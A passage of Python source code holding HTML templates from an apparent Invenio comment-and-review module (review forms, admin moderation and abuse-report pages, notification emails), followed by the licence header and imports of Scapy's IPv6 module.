= '' selected3 = '' selected4 = '' selected5 = '' if score == 0: selected0 = ' selected="selected"' elif score == 1: selected1 = ' selected="selected"' elif score == 2: selected2 = ' selected="selected"' elif score == 3: selected3 = ' selected="selected"' elif score == 4: selected4 = ' selected="selected"' elif score == 5: selected5 = ' selected="selected"' ## file_upload_url = None ## if can_attach_files: ## file_upload_url = '%s/record/%i/comments/attachments/put' % \ ## (CFG_SITE_URL, recID) editor = get_html_text_editor(name='msg', content=msg, textual_content=msg, width='90%', height='400px', enabled=CFG_WEBCOMMENT_USE_RICH_TEXT_EDITOR, # file_upload_url=file_upload_url, toolbar_set = "WebComment") form = """%(add_review)s <table style="width: 100%%"> <tr> <td style="padding-bottom: 10px;">%(rate_label)s: <select name=\"score\" size=\"1\"> <option value=\"0\"%(selected0)s>-%(select_label)s-</option> <option value=\"5\"%(selected5)s>***** (best)</option> <option value=\"4\"%(selected4)s>****</option> <option value=\"3\"%(selected3)s>***</option> <option value=\"2\"%(selected2)s>**</option> <option value=\"1\"%(selected1)s>* (worst)</option> </select> </td> </tr> <tr> <td>%(title_label)s:</td> </tr> <tr> <td style="padding-bottom: 10px;"> <input type="text" name="note" maxlength="250" style="width:90%%" value="%(note)s" /> </td> </tr> <tr> <td>%(write_label)s:</td> </tr> <tr> <td> %(editor)s </td> </tr> <tr> <td class="reportabuse">%(note_label)s</td></tr> </table> """ % {'article_label': _('Article'), 'rate_label': _("Rate this article"), 'select_label': _("Select a score"), 'title_label': _("Give a title to your review"), 'write_label': _("Write your review"), 'note_label': note_label, 'note' : note!='' and note or "", 'msg' : msg!='' and msg or "", #'record' : record_details 'add_review': show_title_p and ('<h2>'+_('Add review')+'</h2>') or '', 'selected0': selected0, 'selected1': selected1, 'selected2': selected2, 'selected3': selected3, 'selected4': selected4, 'selected5': selected5, 'editor': editor, } form_link = "%(siteurl)s/record/%(recID)s/reviews/%(function)s?%(arguments)s" % link_dic form = self.createhiddenform(action=form_link, method="post", text=form, button=_('Add Review')) return warnings + form def tmpl_add_comment_successful(self, recID, ln, reviews, warnings, success): """ @param recID: record id @param ln: language @return: html page of successfully added comment/review """ _ = gettext_set_language(ln) link_dic = { 'siteurl' : CFG_SITE_URL, 'module' : 'comments', 'function' : 'display', 'arguments' : 'ln=%s&amp;do=od' % ln, 'recID' : recID, 'discussion': reviews == 1 and 'reviews' or 'comments'} link = "%(siteurl)s/record/%(recID)s/%(discussion)s/%(function)s?%(arguments)s" % link_dic if warnings: out = self.tmpl_warnings(warnings, ln) + '<br /><br />' else: if reviews: out = _("Your review was successfully added.") + '<br /><br />' else: out = _("Your comment was successfully added.") + '<br /><br />' link += "#%s" % success out += '<a href="%s">' % link out += _('Back to record') + '</a>' return out def tmpl_create_multiple_actions_form(self, form_name="", form_action="", method="get", action_display={}, action_field_name="", button_label="", button_name="", content="", **hidden): """ Creates an HTML form with a multiple choice of actions and a button to select it. @param form_action: link to the receiver of the formular @param form_name: name of the HTML formular @param method: either 'GET' or 'POST' @param action_display: dictionary of actions. action is HTML name (name of action) display is the string provided in the popup @param action_field_name: html name of action field @param button_label: what's written on the button @param button_name: html name of the button @param content: what's inside te formular @param **hidden: dictionary of name/value pairs of hidden fields. """ output = """ <form action="%s" method="%s">""" % (form_action, method) output += """ <table> <tr> <td style="vertical-align: top" colspan="2"> """ output += content + '\n' for key in hidden.keys(): if type(hidden[key]) is list: for value in hidden[key]: output += """ <input type="hidden" name="%s" value="%s" />""" % (key, value) else: output += """ <input type="hidden" name="%s" value="%s" />""" % (key, hidden[key]) output += """ </td> </tr> <tr> <td style="text-align:right;">""" if type(action_display) is dict and len(action_display.keys()): output += """ <select name="%s">""" % action_field_name for (key, value) in action_display.items(): output += """ <option value="%s">%s</option>""" % (key, value) output += """ </select>""" output += """ </td> <td style="text-align:left;"> <input class="adminbutton" type="submit" value="%s" name="%s"/>""" % (button_label, button_name) output += """ </td> </tr> </table> </form>""" return output def tmpl_admin_index(self, ln): """ Index page """ # load the right message language _ = gettext_set_language(ln) out = '<ol>' if CFG_WEBCOMMENT_ALLOW_COMMENTS or CFG_WEBCOMMENT_ALLOW_REVIEWS: if CFG_WEBCOMMENT_ALLOW_COMMENTS: out += '<h3>Comments status</h3>' out += '<li><a href="%(siteurl)s/admin/webcomment/webcommentadmin.py/hot?ln=%(ln)s&amp;comments=1">%(hot_cmt_label)s</a></li>' % \ {'siteurl': CFG_SITE_URL, 'ln': ln, 'hot_cmt_label': _("View most commented records")} out += '<li><a href="%(siteurl)s/admin/webcomment/webcommentadmin.py/latest?ln=%(ln)s&amp;comments=1">%(latest_cmt_label)s</a></li>' % \ {'siteurl': CFG_SITE_URL, 'ln': ln, 'latest_cmt_label': _("View latest commented records")} out += '<li><a href="%(siteurl)s/admin/webcomment/webcommentadmin.py/comments?ln=%(ln)s&amp;reviews=0">%(reported_cmt_label)s</a></li>' % \ {'siteurl': CFG_SITE_URL, 'ln': ln, 'reported_cmt_label': _("View all comments reported as abuse")} if CFG_WEBCOMMENT_ALLOW_REVIEWS: out += '<h3>Reviews status</h3>' out += '<li><a href="%(siteurl)s/admin/webcomment/webcommentadmin.py/hot?ln=%(ln)s&amp;comments=0">%(hot_rev_label)s</a></li>' % \ {'siteurl': CFG_SITE_URL, 'ln': ln, 'hot_rev_label': _("View most reviewed records")} out += '<li><a href="%(siteurl)s/admin/webcomment/webcommentadmin.py/latest?ln=%(ln)s&amp;comments=0">%(latest_rev_label)s</a></li>' % \ {'siteurl': CFG_SITE_URL, 'ln': ln, 'latest_rev_label': _("View latest reviewed records")} out += '<li><a href="%(siteurl)s/admin/webcomment/webcommentadmin.py/comments?ln=%(ln)s&amp;reviews=1">%(reported_rev_label)s</a></li>' % \ {'siteurl': CFG_SITE_URL, 'ln': ln, 'reported_rev_label': _("View all reviews reported as abuse")} #<li><a href="%(siteurl)s/admin/webcomment/webcommentadmin.py/delete?ln=%(ln)s&amp;comid=-1">%(delete_label)s</a></li> out +=""" <h3>General</h3> <li><a href="%(siteurl)s/admin/webcomment/webcommentadmin.py/users?ln=%(ln)s">%(view_users)s</a></li> <li><a href="%(siteurl)s/help/admin/webcomment-admin-guide">%(guide)s</a></li> """ % {'siteurl' : CFG_SITE_URL, #'delete_label': _("Delete/Undelete comment(s) or suppress abuse report(s)"), 'view_users': _("View all users who have been reported"), 'ln' : ln, 'guide' : _("Guide")} else: out += _("Comments and reviews are disabled") + '<br />' out += '</ol>' from invenio.bibrankadminlib import addadminbox return addadminbox('<b>%s</b>'% _("Menu"), [out]) def tmpl_admin_delete_form(self, ln, warnings): """ Display admin interface to fetch list of records to delete @param warnings: list of warning_tuples where warning_tuple is (warning_message, text_color) see tmpl_warnings, color is optional """ # load the right message language _ = gettext_set_language(ln) warnings = self.tmpl_warnings(warnings, ln) out = ''' <br /> %s<br /> <br />'''% _("Please enter the ID of the comment/review so that you can view it before deciding whether to delete it or not") form = ''' <table> <tr> <td>%s</td> <td><input type=text name="comid" size="10" maxlength="10" value="" /></td> </tr> <tr> <td><br /></td> <tr> </table> <br /> %s <br/> <br /> <table> <tr> <td>%s</td> <td><input type=text name="recid" size="10" maxlength="10" value="" /></td> </tr> <tr> <td><br /></td> <tr> </table> <br /> ''' % (_("Comment ID:"), _("Or enter a record ID to list all the associated comments/reviews:"), _("Record ID:")) form_link = "%s/admin/webcomment/webcommentadmin.py/delete?ln=%s" % (CFG_SITE_URL, ln) form = self.createhiddenform(action=form_link, method="get", text=form, button=_('View Comment')) return warnings + out + form def tmpl_admin_users(self, ln, users_data): """ @param users_data: tuple of ct, i.e. (ct, ct, ...) where ct is a tuple (total_number_reported, total_comments_reported, total_reviews_reported, total_nb_votes_yes_of_reported, total_nb_votes_total_of_reported, user_id, user_email, user_nickname) sorted by order of ct having highest total_number_reported """ _ = gettext_set_language(ln) u_reports = 0 u_comment_reports = 1 u_reviews_reports = 2 u_nb_votes_yes = 3 u_nb_votes_total = 4 u_uid = 5 u_email = 6 u_nickname = 7 if not users_data: return self.tmpl_warnings([(_("There have been no reports so far."), 'green')]) user_rows = "" for utuple in users_data: com_label = _("View all %s reported comments") % utuple[u_comment_reports] com_link = '''<a href="%s/admin/webcomment/webcommentadmin.py/comments?ln=%s&amp;uid=%s&amp;reviews=0">%s</a><br />''' % \ (CFG_SITE_URL, ln, utuple[u_uid], com_label) rev_label = _("View all %s reported reviews") % utuple[u_reviews_reports] rev_link = '''<a href="%s/admin/webcomment/webcommentadmin.py/comments?ln=%s&amp;uid=%s&amp;reviews=1">%s</a>''' % \ (CFG_SITE_URL, ln, utuple[u_uid], rev_label) if not utuple[u_nickname]: user_info = get_user_info(utuple[u_uid]) nickname = user_info[2] else: nickname = utuple[u_nickname] if CFG_WEBCOMMENT_ALLOW_REVIEWS: review_row = """ <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td>""" review_row %= (utuple[u_nb_votes_yes], utuple[u_nb_votes_total] - utuple[u_nb_votes_yes], utuple[u_nb_votes_total]) else: review_row = '' user_rows += """ <tr> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%(nickname)s</td> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%(email)s</td> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%(uid)s</td>%(review_row)s <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray; font-weight: bold;">%(reports)s</td> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%(com_link)s%(rev_link)s</td> </tr>""" % { 'nickname' : nickname, 'email' : utuple[u_email], 'uid' : utuple[u_uid], 'reports' : utuple[u_reports], 'review_row': review_row, 'siteurl' : CFG_SITE_URL, 'ln' : ln, 'com_link' : CFG_WEBCOMMENT_ALLOW_COMMENTS and com_link or "", 'rev_link' : CFG_WEBCOMMENT_ALLOW_REVIEWS and rev_link or "" } out = "<br />" out += _("Here is a list, sorted by total number of reports, of all users who have had a comment reported at least once.") out += """ <br /> <br /> <table class="admin_wvar" style="width: 100%%;"> <thead> <tr class="adminheaderleft"> <th>""" out += _("Nickname") + '</th>\n' out += '<th>' + _("Email") + '</th>\n' out += '<th>' + _("User ID") + '</th>\n' if CFG_WEBCOMMENT_ALLOW_REVIEWS > 0: out += '<th>' + _("Number positive votes") + '</th>\n' out += '<th>' + _("Number negative votes") + '</th>\n' out += '<th>' + _("Total number votes") + '</th>\n' out += '<th>' + _("Total number of reports") + '</th>\n' out += '<th>' + _("View all user's reported comments/reviews") + '</th>\n' out += """ </tr> </thead> <tbody>%s </tbody> </table> """ % user_rows return out def tmpl_admin_select_comment_checkbox(self, cmt_id): """ outputs a checkbox named "comidXX" where XX is cmt_id """ return '<input type="checkbox" name="comid%i" />' % int(cmt_id) def tmpl_admin_user_info(self, ln, nickname, uid, email): """ prepares informations about a user""" _ = gettext_set_language(ln) out = """ %(nickname_label)s: %(messaging)s<br /> %(uid_label)s: %(uid)i<br /> %(email_label)s: <a href="mailto:%(email)s">%(email)s</a>""" out %= {'nickname_label': _("Nickname"), 'messaging': self.create_messaging_link(uid, nickname, ln), 'uid_label': _("User ID"), 'uid': int(uid), 'email_label': _("Email"), 'email': email} return out def tmpl_admin_review_info(self, ln, reviews, nb_reports, cmt_id, rec_id, status): """ outputs information about a review """ _ = gettext_set_language(ln) if reviews: reported_label = _("This review has been reported %i times") else: reported_label = _("This comment has been reported %i times") reported_label %= int(nb_reports) out = """ %(reported_label)s<br /> <a href="%(siteurl)s/record/%(rec_id)i?ln=%(ln)s">%(rec_id_label)s</a><br /> %(cmt_id_label)s""" out %= {'reported_label': reported_label, 'rec_id_label': _("Record") + ' #' + str(rec_id), 'siteurl': CFG_SITE_URL, 'rec_id': int(rec_id), 'cmt_id_label': _("Comment") + ' #' + str(cmt_id), 'ln': ln} if status in ['dm', 'da']: out += '<br /><div style="color:red;">Marked as deleted</div>' return out def tmpl_admin_latest(self, ln, comment_data, comments, error, user_collections, collection): """ @param comment_data: same type of tuple as that which is return by webcommentadminlib.py/query_get_latest i.e. tuple (nickname, uid, date_creation, body, id) if latest comments or tuple (nickname, uid, date_creation, body, star_score, id) if latest reviews """ _ = gettext_set_language(ln) out = """ <script type='text/javascript'> function collectionChange() { document.collection_form.submit(); } </script> """ out += '<form method="get" name="collection_form" action="%s/admin/webcomment/webcommentadmin.py/latest?ln=%s&comments=%s">' % (CFG_SITE_URL, ln, comments) out += '<input type="hidden" name="ln" value=%s>' % ln out += '<input type="hidden" name="comments" value=%s>' % comments out += '<div> Filter by collection: <select name="collection" onchange="javascript:collectionChange();">' for collection_name in user_collections: if collection_name == collection: out += '<option "SELECTED" value="%(collection_name)s">%(collection_name)s</option>' % {'collection_name': cgi.escape(collection_name)} else: out += '<option value="%(collection_name)s">%(collection_name)s</option>' % {'collection_name': cgi.escape(collection_name)} out += '</select></div></form><br />' if error == 1: out += "<i>User is not authorized to view such collection.</i><br />" return out elif error == 2: out += "<i>There are no %s for this collection.</i><br />" % (comments and 'comments' or 'reviews') return out out += """ <ol> """ for (cmt_tuple, meta_data) in comment_data: bibrec_id = meta_data[3] content = format_record(bibrec_id, "hs") if not comments: out += """ <li> %(content)s <br/> <span class="moreinfo"> <a class="moreinfo" href=%(comment_url)s> reviewed by %(user)s</a> (%(stars)s) \"%(body)s\" on <i> %(date)s </i></li> </span> <br/> """ % {'content': content, 'comment_url': CFG_SITE_URL + '/record/' + str(bibrec_id) + '/reviews', 'user':cmt_tuple[0] , 'stars': '*' * int(cmt_tuple[4]) , 'body': cmt_tuple[3][:20] + '...', 'date': cmt_tuple[2]} else: out += """ <li> %(content)s <br/> <span class="moreinfo"> <a class="moreinfo" href=%(comment_url)s> commented by %(user)s</a>, \"%(body)s\" on <i> %(date)s </i></li> </span> <br/> """ % {'content': content, 'comment_url': CFG_SITE_URL + '/record/' + str(bibrec_id) + '/comments', 'user':cmt_tuple[0] , 'body': cmt_tuple[3][:20] + '...', 'date': cmt_tuple[2]} out += """</ol>""" return out def tmpl_admin_hot(self, ln, comment_data, comments, error, user_collections, collection): """ @param comment_data: same type of tuple as that which is return by webcommentadminlib.py/query_get_hot i.e. tuple (id_bibrec, date_last_comment, users, count) """ _ = gettext_set_language(ln) out = """ <script type='text/javascript'> function collectionChange() { document.collection_form.submit(); } </script> """ out += '<form method="get" name="collection_form" action="%s/admin/webcomment/webcommentadmin.py/hot?ln=%s&comments=%s">' % (CFG_SITE_URL, ln, comments) out += '<input type="hidden" name="ln" value=%s>' % ln out += '<input type="hidden" name="comments" value=%s>' % comments out += '<div> Filter by collection: <select name="collection" onchange="javascript:collectionChange();">' for collection_name in user_collections: if collection_name == collection: out += '<option "SELECTED" value="%(collection_name)s">%(collection_name)s</option>' % {'collection_name': cgi.escape(collection_name)} else: out += '<option value="%(collection_name)s">%(collection_name)s</option>' % {'collection_name': cgi.escape(collection_name)} out += '</select></div></form><br />' if error == 1: out += "<i>User is not authorized to view such collection.</i><br />" return out elif error == 2: out += "<i>There are no %s for this collection.</i><br />" % (comments and 'comments' or 'reviews') return out for cmt_tuple in comment_data: bibrec_id = cmt_tuple[0] content = format_record(bibrec_id, "hs") last_comment_date = cmt_tuple[1] total_users = cmt_tuple[2] total_comments = cmt_tuple[3] if comments: comment_url = CFG_SITE_URL + '/record/' + str(bibrec_id) + '/comments' str_comment = int(total_comments) > 1 and 'comments' or 'comment' else: comment_url = CFG_SITE_URL + '/record/' + str(bibrec_id) + '/reviews' str_comment = int(total_comments) > 1 and 'reviews' or 'review' out += """ <li> %(content)s <br/> <span class="moreinfo"> <a class="moreinfo" href=%(comment_url)s> %(total_comments)s %(str_comment)s</a> (%(total_users)s %(user)s), latest on <i> %(last_comment_date)s </i></li> </span> <br/> """ % {'content': content, 'comment_url': comment_url , 'total_comments': total_comments, 'str_comment': str_comment, 'total_users': total_users, 'user': int(total_users) > 1 and 'users' or 'user', 'last_comment_date': last_comment_date} out += """</ol>""" return out def tmpl_admin_comments(self, ln, uid, comID, recID, comment_data, reviews, error, user_collections, collection): """ @param comment_data: same type of tuple as that which is returned by webcomment.py/query_retrieve_comments_or_remarks i.e. tuple of comment where comment is tuple (nickname, date_creation, body, id) if ranking disabled or tuple (nickname, date_creation, body, nb_votes_yes, nb_votes_total, star_score, title, id) """ _ = gettext_set_language(ln) coll_form = """ <script type='text/javascript'> function collectionChange() { document.collection_form.submit(); } </script> """ coll_form += '<form method="get" name="collection_form" action="%s/admin/webcomment/webcommentadmin.py/comments?ln=%s&reviews=%s">' % (CFG_SITE_URL, ln, reviews) coll_form += '<input type="hidden" name="ln" value=%s>' % ln coll_form += '<input type="hidden" name="reviews" value=%s>' % reviews coll_form += '<div> Filter by collection: <select name="collection" onchange="javascript:collectionChange();">' for collection_name in user_collections: if collection_name == collection: coll_form += '<option "SELECTED" value="%(collection_name)s">%(collection_name)s</option>' % {'collection_name': cgi.escape(collection_name)} else: coll_form += '<option value="%(collection_name)s">%(collection_name)s</option>' % {'collection_name': cgi.escape(collection_name)} coll_form += '</select></div></form><br />' if error == 1: coll_form += "<i>User is not authorized to view such collection.</i><br />" return coll_form elif error == 2: coll_form += "<i>There are no %s for this collection.</i><br />" % (reviews and 'reviews' or 'comments') return coll_form comments = [] comments_info = [] checkboxes = [] users = [] for (cmt_tuple, meta_data) in comment_data: if reviews: comments.append(self.tmpl_get_comment_with_ranking(None,#request object ln, cmt_tuple[0],#nickname cmt_tuple[1],#userid cmt_tuple[2],#date_creation cmt_tuple[3],#body cmt_tuple[9],#status 0, cmt_tuple[5],#nb_votes_total cmt_tuple[4],#nb_votes_yes cmt_tuple[6],#star_score cmt_tuple[7]))#title else: comments.append(self.tmpl_get_comment_without_ranking(None,#request object ln, cmt_tuple[0],#nickname cmt_tuple[1],#userid cmt_tuple[2],#date_creation cmt_tuple[3],#body cmt_tuple[5],#status 0, None, #reply_link None, #report_link None, #undelete_link None)) #delete_links users.append(self.tmpl_admin_user_info(ln, meta_data[0], #nickname meta_data[1], #uid meta_data[2]))#email if reviews: status = cmt_tuple[9] else: status = cmt_tuple[5] comments_info.append(self.tmpl_admin_review_info(ln, reviews, meta_data[5], # nb abuse reports meta_data[3], # cmt_id meta_data[4], # rec_id status)) # status checkboxes.append(self.tmpl_admin_select_comment_checkbox(meta_data[3])) form_link = "%s/admin/webcomment/webcommentadmin.py/del_com?ln=%s" % (CFG_SITE_URL, ln) out = """ <table class="admin_wvar" style="width:100%%;"> <thead> <tr class="adminheaderleft"> <th>%(review_label)s</th> <th>%(written_by_label)s</th> <th>%(review_info_label)s</th> <th>%(select_label)s</th> </tr> </thead> <tbody>""" % {'review_label': reviews and _("Review") or _("Comment"), 'written_by_label': _("Written by"), 'review_info_label': _("General informations"), 'select_label': _("Select")} for i in range (0, len(comments)): out += """ <tr> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> <td class="admintd" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> </tr>""" % (comments[i], users[i], comments_info[i], checkboxes[i]) out += """ </tbody> </table>""" if reviews: action_display = { 'delete': _('Delete selected reviews'), 'unreport': _('Suppress selected abuse report'), 'undelete': _('Undelete selected reviews') } else: action_display = { 'undelete': _('Undelete selected comments'), 'delete': _('Delete selected comments'), 'unreport': _('Suppress selected abuse report') } form = self.tmpl_create_multiple_actions_form(form_name="admin_comment", form_action=form_link, method="post", action_display=action_display, action_field_name='action', button_label=_("OK"), button_name="okbutton", content=out) if uid > 0: header = '<br />' if reviews: header += _("Here are the reported reviews of user %s") % uid else: header += _("Here are the reported comments of user %s") % uid header += '<br /><br />' if comID > 0 and recID <= 0 and uid <= 0: if reviews: header = '<br />' +_("Here is review %s")% comID + '<br /><br />' else: header = '<br />' +_("Here is comment %s")% comID + '<br /><br />' if uid > 0 and comID > 0 and recID <= 0: if reviews: header = '<br />' + _("Here is review %(x_cmtID)s written by user %(x_user)s") % {'x_cmtID': comID, 'x_user': uid} else: header = '<br />' + _("Here is comment %(x_cmtID)s written by user %(x_user)s") % {'x_cmtID': comID, 'x_user': uid} header += '<br/ ><br />' if comID <= 0 and recID <= 0 and uid <= 0: header = '<br />' if reviews: header += _("Here are all reported reviews sorted by the most reported") else: header += _("Here are all reported comments sorted by the most reported") header += "<br /><br />" elif recID > 0: header = '<br />' if reviews: header += _("Here are all reviews for record %i, sorted by the most reported" % recID) header += '<br /><a href="%s/admin/webcomment/webcommentadmin.py/delete?comid=&recid=%s&amp;reviews=0">%s</a>' % (CFG_SITE_URL, recID, _("Show comments")) else: header += _("Here are all comments for record %i, sorted by the most reported" % recID) header += '<br /><a href="%s/admin/webcomment/webcommentadmin.py/delete?comid=&recid=%s&amp;reviews=1">%s</a>' % (CFG_SITE_URL, recID, _("Show reviews")) header += "<br /><br />" return coll_form + header + form def tmpl_admin_del_com(self, del_res, ln=CFG_SITE_LANG): """ @param del_res: list of the following tuple (comment_id, was_successfully_deleted), was_successfully_deleted is boolean (0=false, >0=true """ _ = gettext_set_language(ln) table_rows = '' for deltuple in del_res: table_rows += """ <tr> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> </tr>""" % (deltuple[0], deltuple[1]>0 and _("Yes") or "<span class=\"important\">" +_("No") + "</span>") out = """ <table class="admin_wvar"> <tr class="adminheaderleft"> <td style="padding-right:10px;">%s</td> <td>%s</td> </tr>%s <table>""" % (_("comment ID"), _("successfully deleted"), table_rows) return out def tmpl_admin_undel_com(self, del_res, ln=CFG_SITE_LANG): """ @param del_res: list of the following tuple (comment_id, was_successfully_undeleted), was_successfully_undeleted is boolean (0=false, >0=true """ _ = gettext_set_language(ln) table_rows = '' for deltuple in del_res: table_rows += """ <tr> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> </tr>""" % (deltuple[0], deltuple[1]>0 and _("Yes") or "<span class=\"important\">" +_("No") + "</span>") out = """ <table class="admin_wvar"> <tr class="adminheaderleft"> <td style="padding-right:10px;">%s</td> <td>%s</td> </tr>%s <table>""" % (_("comment ID"), _("successfully undeleted"), table_rows) return out def tmpl_admin_suppress_abuse_report(self, del_res, ln=CFG_SITE_LANG): """ @param del_res: list of the following tuple (comment_id, was_successfully_deleted), was_successfully_deleted is boolean (0=false, >0=true """ _ = gettext_set_language(ln) table_rows = '' for deltuple in del_res: table_rows += """ <tr> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> <td class="admintdleft" style="padding: 5px; border-bottom: 1px solid lightgray;">%s</td> </tr>""" % (deltuple[0], deltuple[1]>0 and _("Yes") or "<span class=\"important\">" +_("No") + "</span>") out = """ <table class="admin_wvar"> <tr class="adminheaderleft"> <td style ="padding-right: 10px;">%s</td> <td>%s</td> </tr>%s <table>""" % (_("comment ID"), _("successfully suppressed abuse report"), table_rows) return out def tmpl_mini_review(self, recID, ln=CFG_SITE_LANG, action='SUBMIT', avg_score=0, nb_comments_total=0): """Display the mini version of reviews (only the grading part)""" _ = gettext_set_language(ln) url = '%s/record/%s/reviews/add?ln=%s&amp;action=%s' % (CFG_SITE_URL, recID, ln, action) if avg_score > 0: score = _("Average review score: %(x_nb_score)s based on %(x_nb_reviews)s reviews") % \ {'x_nb_score': '<b>%.1f</b>' % avg_score, 'x_nb_reviews': nb_comments_total} else: score = '(' +_("Not yet reviewed") + ')' if avg_score == 5: s1, s2, s3, s4, s5 = 'full', 'full', 'full', 'full', 'full' elif avg_score >= 4.5: s1, s2, s3, s4, s5 = 'full', 'full', 'full', 'full', 'half' elif avg_score >= 4: s1, s2, s3, s4, s5 = 'full', 'full', 'full', 'full', '' elif avg_score >= 3.5: s1, s2, s3, s4, s5 = 'full', 'full', 'full', 'half', '' elif avg_score >= 3: s1, s2, s3, s4, s5 = 'full', 'full', 'full', '', '' elif avg_score >= 2.5: s1, s2, s3, s4, s5 = 'full', 'full', 'half', '', '' elif avg_score >= 2: s1, s2, s3, s4, s5 = 'full', 'full', '', '', '' elif avg_score >= 1.5: s1, s2, s3, s4, s5 = 'full', 'half', '', '', '' elif avg_score == 1: s1, s2, s3, s4, s5 = 'full', '', '', '', '' else: s1, s2, s3, s4, s5 = '', '', '', '', '' out = ''' <small class="detailedRecordActions">%(rate)s:</small><br /><br /> <div style="margin:auto;width:160px;"> <span style="display:none;">Rate this document:</span> <div class="star %(s1)s" ><a href="%(url)s&amp;score=1">1</a> <div class="star %(s2)s" ><a href="%(url)s&amp;score=2">2</a> <div class="star %(s3)s" ><a href="%(url)s&amp;score=3">3</a> <div class="star %(s4)s" ><a href="%(url)s&amp;score=4">4</a> <div class="star %(s5)s" ><a href="%(url)s&amp;score=5">5</a></div></div></div></div></div> <div style="clear:both">&nbsp;</div> </div> <small>%(score)s</small> ''' % {'url': url, 'score': score, 'rate': _("Rate this document"), 's1': s1, 's2': s2, 's3': s3, 's4': s4, 's5': s5 } return out def tmpl_email_new_comment_header(self, recID, title, reviews, comID, report_numbers, can_unsubscribe=True, ln=CFG_SITE_LANG, uid=-1): """ Prints the email header used to notify subscribers that a new comment/review was added. @param recid: the ID of the commented/reviewed record @param title: the title of the commented/reviewed record @param reviews: True if it is a review, else if a comment @param comID: the comment ID @param report_numbers: the report number(s) of the record @param can_unsubscribe: True if user can unsubscribe from alert @param ln: language """ # load the right message language _ = gettext_set_language(ln) user_info = collect_user_info(uid) out = _("Hello:") + '\n\n' + \ (reviews and _("The following review was sent to %(CFG_SITE_NAME)s by %(user_nickname)s:") or \ _("The following comment was sent to %(CFG_SITE_NAME)s by %(user_nickname)s:")) % \ {'CFG_SITE_NAME': CFG_SITE_NAME, 'user_nickname': user_info['nickname']} out += '\n(<%s>)' % (CFG_SITE_URL + '/record/' + str(recID)) out += '\n\n\n' return out def tmpl_email_new_comment_footer(self, recID, title, reviews, comID, report_numbers, can_unsubscribe=True, ln=CFG_SITE_LANG): """ Prints the email footer used to notify subscribers that a new comment/review was added. @param recid: the ID of the commented/reviewed record @param title: the title of the commented/reviewed record @param reviews: True if it is a review, else if a comment @param comID: the comment ID @param report_numbers: the report number(s) of the record @param can_unsubscribe: True if user can unsubscribe from alert @param ln: language """ # load the right message language _ = gettext_set_language(ln) out = '\n\n-- \n' out += _("This is an automatic message, please don't reply to it.") out += '\n' out += _("To post another comment, go to <%(x_url)s> instead.") % \ {'x_url': CFG_SITE_URL + '/record/' + str(recID) + \ (reviews and '/reviews' or '/comments') + '/add'} out += '\n' if not reviews: out += _("To specifically reply to this comment, go to <%(x_url)s>") % \ {'x_url': CFG_SITE_URL + '/record/' + str(recID) + \ '/comments/add?action=REPLY&comid=' + str(comID)} out += '\n' if can_unsubscribe: out += _("To unsubscribe from this discussion, go to <%(x_url)s>") % \ {'x_url': CFG_SITE_URL + '/record/' + str(recID) + \ '/comments/unsubscribe'} out += '\n' out += _("For any question, please use <%(CFG_SITE_SUPPORT_EMAIL)s>") % \ {'CFG_SITE_SUPPORT_EMAIL': CFG_SITE_SUPPORT_EMAIL} return out def tmpl_email_new_comment_admin(self, recID): """ Prints the record information used in the email to notify the system administrator that a new comment has been posted. @param recID: the ID of the commented/reviewed record """ out = "" title = get_fieldvalues(recID, "245__a") authors = ', '.join(get_fieldvalues(recID, "100__a") + get_fieldvalues(recID, "700__a")) #res_author = "" #res_rep_num = "" #for author in authors: # res_author = res_author + ' ' + author dates = get_fieldvalues(recID, "260__c") report_nums = get_fieldvalues(recID, "037__a") report_nums += get_fieldvalues(recID, "088__a") report_nums = ', '.join(report_nums) #for rep_num in report_nums: # res_rep_num = res_rep_num + ', ' + rep_num out += " Title = %s \n" % (title and title[0] or "No Title") out += " Authors = %s \n" % authors if dates: out += " Date = %s \n" % dates[0] out += " Report number = %s" % report_nums return out
codeparrot/github-code-clean
#! /usr/bin/env python ############################################################################# ## ## ## inet6.py --- IPv6 support for Scapy ## ## see http://natisbad.org/IPv6/ ## ## for more informations ## ## ## ## Copyright (C) 2005 Guillaume Valadon <guedou@hongo.wide.ad.jp> ## ## Arnaud Ebalard <arnaud.ebalard@eads.net> ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# """ IPv6 (Internet Protocol v6). """ import socket if not socket.has_ipv6: raise socket.error("can't use AF_INET6, IPv6 is disabled") if not hasattr(socket, "IPPROTO_IPV6"): # Workaround for http://bugs.python.org/issue6926 socket.IPPROTO_IPV6 = 41 if not hasattr(socket, "IPPROTO_IPIP"): # Workaround for https://bitbucket.org/secdev/scapy/issue/5119 socket.IPPROTO_IPIP = 4 from scapy.config import conf from scapy.layers.l2 import * from scapy.layers.inet import * from scapy.fields import * from scapy.packet import * from scapy.volatile import * from scapy.sendrecv import sr,sr1,srp1 from scapy.as_resolvers import AS_resolver_riswhois from scapy.supersocket import SuperSocket,L3RawSocket from scapy.arch import * from scapy.utils6 import * ############################################################################# # Helpers ## ############################################################################# def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) ########################## ## Neighbor cache stuff ## ########################## 